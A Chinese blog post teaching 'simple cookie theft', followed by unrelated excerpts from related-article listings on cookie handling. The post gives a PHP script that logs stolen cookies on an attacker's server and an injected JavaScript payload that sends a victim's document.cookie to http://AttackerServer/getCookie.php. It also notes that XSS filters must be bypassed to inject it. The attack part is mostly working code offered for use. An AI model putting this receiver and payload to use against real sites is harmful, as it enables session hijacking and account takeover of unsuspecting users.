简单的cookie盗取

此文需要有一定的javascript\html\php方面的只是作为基础

直接上代码:

#用于抓取盗窃来的cookie的php文件,此文件需置于攻击者的服务器上,这里包含了两种写法:Method1和Method2
#保存为getCookie.php
<?php  

#Method 1

// $info=getenv("QUERY_STRING");
// if ($info)
// {
// 	# code...
// 	$info=urldecode($info);
// 	$fp=fopen("info.txt","a");
// 	fwrite($fp,$info."\n\n\n\n");
// 	fclose($fp);
// }

#Method2

$cookie = $_GET[‘cookie‘];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie ."\n");
fclose($log); 

?>

接下来需要再被攻击者的服务器页面上注入一段javascript代码,用于将被攻击者的cookie传送到我们的服务器上

<script>
document.location=‘http://AttackerServer/getCookie.php?cookie=‘+document.cookie;
</script>

当被攻击者的浏览器加载了被恶意注入的代码后,就会向攻击者的服务器发送自己的cookie,从而达到了盗取用户cookie的目的

*注:当你浏览某个需要登陆的页面(比如论坛)时,在登录之后,把地址栏清空后在地址栏里写入javascript:alert(document.cookie)。你就会看到这个登陆页面在你计算机里保存的cookie。

解析:

可以看到,两种方法写的盗取cookie的攻击者脚本并不难,仅仅只做了一个接收参数,保存为文件的工作。

cookie盗取真正难的部分应该还是在于,如何向被攻击者的页面注入这段javascript脚本。这就要借助XSS跨站脚本攻击的一些手法,在对方管理员做了严格限制的情况下,需要想办法绕过XSS的过滤,才能使我们的cookie盗取奏效。

时间: 2024-10-13 15:03:38

简单的cookie盗取的相关文章

简单的cookie读写封装

<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>简单的cookie封装</title></head><body> </body><script>var cookies={ name:this.name, value:this.value, day:this.da

简单谈谈Cookie,Session与Cache之间的区别

一 摘要 Session是由应用服务器维持的一个服务器端的存储空间,用户在连接服务器时,会由服务器生成一个唯一的SessionID,用该SessionID 为标识符来存取服务器端的Session存储空间.而SessionID这一数据则是保存到客户端,用Cookie保存的,用户提交页面时,会将这一 SessionID提交到服务器端,来存取Session数据.这一过程,是不用开发人员干预的.所以一旦客户端禁用Cookie,那么Session也会失效. 服务器也可以通过URL重写的方式来传递Sessi

简单的cookie实例

首先新建一个简单的login.htm前端页面,利用nvelocity引擎模板. <body> <form action="Login.ashx" method ="post"> <table> <tr><td>用户名:</td><td><input type ="text" name="UserName" value="$Mod

asp.net web 简单使用cookie

cookie的简单使用 1 public partial class Login:System.Web.UI.pag 2 { 3 public string LoginUserName{get;set;} 4 protected void Page_Load(object sendet,EventArgs e) 5 { 6 if(IsPostBack) 7 { 8 string userName=Request.Form["txtName"]; 9 Response.Cookies[&

简单的cookie使用

<html><head><script type="text/javascript">function getCookie(c_name){if (document.cookie.length>0) { c_start=document.cookie.indexOf(c_name + "=") if (c_start!=-1) { c_start=c_start + c_name.length+1 c_end=documen

简单使用cookie记住密码

加上这个函数: <SCRIPT LANGUAGE="JavaScript"> function getCookiesPWD() {    document.subform.pwd.style.color='#000'     var password = "";         var cookies = document.cookie.split(";");         //cookies=request.getCookies(

cookie的简单留言框

我们在网页浏览时退出后,再次进入时会有上次的记录,这就用的上cookie属性了,cookie就是服务器暂存放在你计算机上的一笔资料,好让服务器用来辨认你的计算机.当你在浏览网站的时候,Web服务器会先送一小小资料放在你的计算机上,Cookie 会帮你在网站上所打的文字或是一些选择,都记录下来.当下次你再光临同一个网站,Web服务器会先看看有没有它上次留下的Cookie资料,有的话,就会依据Cookie里的内容来判断使用者,送出特定的网页内容给你. 废话不多说,我们来用一个小案例来看看吧: 我们先

c#简单代码:用获得的cookie访问目标网站

首先做一个最简单的cookie web application,代码如下. protected void Page_Load(object sender, EventArgs e) { if (!IsPostBack) { HttpCookie cookie = Request.Cookies["MyCookieName"]; if (cookie != null) { Response.Write("cookie received"); } else { Http

对Django框架中Cookie的简单理解

概念的理解:首先Cookie和Session一样,是django中用于视图保持状态的方案之一.为什么要进行视图保留呢,这是因为浏览器在向服务器发出请求时,服务器不会像人一样,有记忆,服务器像鱼一样,在你一次请求结束后她会很快忘掉你的,对她来说你的每一次请求都是新鲜的,这要是爱情就好了哈,可以爱情保鲜!闲话不多说,这种状态就是所谓的 "浏览器请求服务器是无状态",根本原因就复杂一些了,需要简单了解些网络编程中套接字Socket的通信方式,简单来说就是,浏览器和服务器进行通信需要使用Soc